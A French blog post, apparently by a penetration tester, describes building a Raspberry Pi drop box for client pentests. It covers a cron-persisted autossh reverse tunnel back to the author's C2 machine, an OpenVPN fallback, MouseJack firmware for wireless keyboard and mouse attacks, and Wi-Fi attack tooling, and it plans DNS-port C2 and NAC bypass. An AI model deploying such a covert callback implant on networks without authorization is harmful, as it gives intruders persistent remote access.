Intro
Le but de se projet est d'améliorer la v1 de mon R3.14 qui est une "sonde" simplifiant les tests d'intrusions. Elle doit pouvoir être envoyée par transporteur à mes clients et doit aussi pouvoir être utilisée dans le cadre de test d'intrusion physique. Les caractéristiques que j'ai voulu sont les suivantes :
- Prix le plus bas possible
- Connexion via SSH et openVPN sur le port 443 au cas où le 22 serait bloqué
- Attaque wifi
- Attaque sur device sans fil
Mon choix s'est porté sur le raspberry pi 4. J'ai utilisé un 8Go de ram que j'avais en stock, mais je pense que ça tournerait tout aussi bien sur la version 4Go.
Pour les attaques wifi, je suis parti sur l'AWUS036ACS. C'est la plus petite, elle supporte le 2.4GHz et le 5GHz, est équipée du standard 802.11ac et coûte moins de 30 €
Pour les attaques sur les claviers/souris sans fil, j'ai pris le Crazyradio PA que j'ai trouvé chez Génération robots pour 43.45 €. ça rajoute beaucoup au budget, mais ça va me permettre de m'amuser et ça, ça n'a pas de prix.
Je passerai sur l'installation de kali sur le raspberry pi. Vous pouvez télécharger l'iso ici :https://www.kali.org/get-kali/#kali-arm
Tunnel SSH
Afin de pouvoir me connecter en SSH à mon R3.14V2, j'ai configuré ce dernier pour qu'il crée un "reverse" tunnel avec ma machine (et mon C2). On va donc ouvrir le port 2222 sur ma machine qui sera "connecté" au port 22 du R3.14V2. On lancera le tunnel avec autossh pour éviter de perdre la connexion.
étape #1
on crée un utilisateur sur la machine attaquante. Ce dernier ne doit pas pouvoir avoir de shell.
sudo useradd -m -s /bin/false rpi
étape #2
On génère une clé sur le R3.14V2 sans mot de passe parce que la connexion se fera de manière automatique. On valide donc 2 fois sans taper de passphrase
ssh-keygen
On a maintenant une clé privé et une clé publique
On copie la clé publique (id_rsa.pub)
cat /home/<user>/.ssh/id_rsa.pub
et on colle le tout dans le fichier /home/rpi/.ssh/authorized_keys de la machine attaquante en rajoutant quelques options devant :
no-pty,no-X11-forwarding,permitopen="localhost:2222",command="/bin/echo do-not-send-commands" ssh-rsa <clé publique> rpi@<hostname>
J'ai rajouté ces options pour se prémunir d'un hackback. ça serait dommage que la blue team puisse se connecter à mes machines...
Toutes les infos sur les différentes options ici : https://www.ssh.com/academy/ssh/authorized-keys-openssh
étape #3 autossh et cron
autossh permet à R3.14V2 de se connecter automatiquement à notre machine attaquante. De plus, si jamais on perd la connexion, autossh se reconnectera automatiquement.
sudo apt install autossh
Dans un fichier on met le code suivant :
#!/bin/bash
autossh -M 12345 -N -f -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /home/<user>/.ssh/id_rsa -R 2222:localhost:22 fr3sh@<monip> -p <monPort>
Le -M crée ouvre un port qui va permettre à autossh de monitoré la connexion SSH.
On crée une tâche cron :
crontab -e
dans laquelle on insert le code suivant :
@reboot sleep 5 && /home/fr3sh/bin/autossh.sh > /dev/null 2>&1
*/5 * * * * /home/fr3sh/bin/autossh.sh > /dev/null 2>&1
ça va nous permettre d'exécuter le script 5s après le démarrage et toutes les 5mn.
Une fois que tout est configuré ; il n'y a plus qu'à redémarrer le R3.14V2 pour voir si tout fonctionne bien.
On peut alors se connecter depuis la machine attaquante :
ssh fr3sh@localhost -p 2222 -o IdentitiesOnly=yes
OpenVPN
L'idée c'est que la machine attaquante et le R3.14V2 se connecte à un VPN. Elles seront donc sur le même réseau et on pourra se connecter via SSH. Pour installer openVPN sur un serveur, il y a un très bon tuto ici.
Sur le R3.14V2 :
On installe openVPN : apt-get install openvpn
On modifie le fichier /etc/default/openvpn en supprimant # devant AUTOSTART="all"
Il ne reste plus qu'à copier le fichier de configuration généré sur le VPN raspi.ovpn dans le fichier /etc/openvpn/client.conf
puis sudo systemctl openvpn enable && reboot
Si tout s'est bien passé, on peut se connecter à notre R3.14V2
ssh fr3sh@<R3.14V2IP> -o IdentitiesOnly=yes
MouseJack
cd /opt && git clone https://github.com/BastilleResearch/mousejack.git
MouseJack est un projet qui date un peu. On installera donc un environnement virtuel avec python2 :
virtualenv -p /usr/bin/python2 venv
source venv/bin/activate
pip install pyusb
pip install platformio
git submodule init
git submodule update
cp -r /opt/mousejack/venv/lib/python2.7/site-packages/usb /opt/mousejack/nrf-research-firmware/prog/usb-flasher/
make
make install && reboot
Et là si tout va bien notre dongle est prêt
Driver AWUS036ACS
On Vérifie que le device est bien là ; lsusb
On télécharge le driver et on l'installe
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl88812au
sudo make
Allez prendre un café. C'est un peu long
sudo make install && reboot
On teste que tout fonctionne :
sudo wifite
Conclusion
Voilà ! Il n'y a plus qu'à tester tout ça et s'amuser un peu. J'ai automatisé toutes ces étapes dans un playbook ansible que je mettrai en ligne sur mon github dès que possible. Pour la V3 je vais sans doute travailler à utiliser le port 53 pour la connexion à mon C2 et peut être à bypasser un NAC comme suggéré sur linkedIn. J'aimerais aussi automatiser quelques scans via ansible pour me libérer du temps et pouvoir me consacrer aux attaques.